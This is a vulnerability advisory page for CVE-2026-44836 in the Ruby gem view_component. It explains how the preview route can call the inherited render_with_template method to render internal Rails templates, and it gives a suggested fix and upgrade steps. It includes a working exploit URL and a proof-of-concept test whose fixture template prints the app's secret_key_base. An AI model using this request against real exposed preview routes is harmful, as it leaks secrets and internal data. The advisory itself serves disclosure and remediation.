CVE-2026-44836 — Vulnerability in view_component — CVE Details
MEDIUM
view_component: Preview Route Can Dispatch Inherited Helper Methods
Published May 8, 2026Updated September 10, 2026Source: osv
Summary
### Summary
The preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.
As a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.
If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.
Severity: High if preview routes are externally reachable; Medium otherwise.
Affected files:
- `lib/view_component/preview.rb`
- `app/controllers/concerns/view_component/preview_actions.rb`
- `app/views/view_components/preview.html.erb`
### Relevant Code
`app/controllers/concerns/view_component/preview_actions.rb`:
```ruby
@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)
```
`lib/view_component/preview.rb`:
```ruby
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
```
`app/views/view_components/preview.html.erb`:
```erb
<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>
```
The UI only lists direct preview methods via:
```ruby
public_instance_methods(false).map(&:to_s).sort
```
But `render_args` does not enforce that list before dispatching.
### Exploit Flow
Example request:
```text
GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request
```
Flow:
1. `my_component` resolves to a valid preview.
2. `File.basename(params[:path])` returns `render_with_template`.
3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.
4. Request params provide `template: "internal/secret"` and `locals: {...}`.
5. The preview view renders `internal/secret` with attacker-controlled locals.
Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.
### PoC Test
This checkout already contains a PoC at:
- `test/sandbox/test/security_preview_template_poc_test.rb`
- `test/sandbox/app/views/internal/secret.html.erb`
The test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.
If reproducing manually, run:
```bash
bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb
```
Equivalent standalone test:
```ruby
# frozen_string_literal: true
require "test_helper"
class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
def setup
ViewComponent::Preview.__vc_load_previews
end
def test_preview_route_can_invoke_inherited_render_with_template
refute_includes MyComponentPreview.examples, "render_with_template"
assert_raises(ActionController::RoutingError) do
Rails.application.routes.recognize_path("/internal/secret")
end
get(
"/rails/view_components/my_component/render_with_template",
params: {
template: "internal/secret",
locals: {poc_local: "attacker-controlled-local"},
request_marker: "attacker-controlled-request"
}
)
assert_response :success
assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo"
assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local"
assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request"
end
end
```
Fixture template:
```erb
<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>
```
### Suggested Fix
Only dispatch explicitly declared preview examples:
```ruby
def render_args(example, params: {})
example = example.to_s
raise AbstractController::ActionNotFound unless examples.include?(example)
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
result ||= {}
result[:template] = preview_example_template_path(example) if result[:template].nil?
@layout = nil unless defined?(@layout)
result.merge(layout: @layout)
end
```
Add a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.
Advisory Timeline
First published May 8, 2026 (156 days ago).
Last revised September 10, 2026 — 124 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
Bundler
Update view_component to 4.9.0 or later
gem install view_component -v 4.9.0
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
view_component: Preview Route Can Dispatch Inherited Helper Methods This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 6.5/10).
How do I check if my project is affected by CVE-2026-44836?
CVE-2026-44836 affects view_component. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44836 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
6.5
Exploitation requires specific conditions or has limited impact. Remediate within weeks.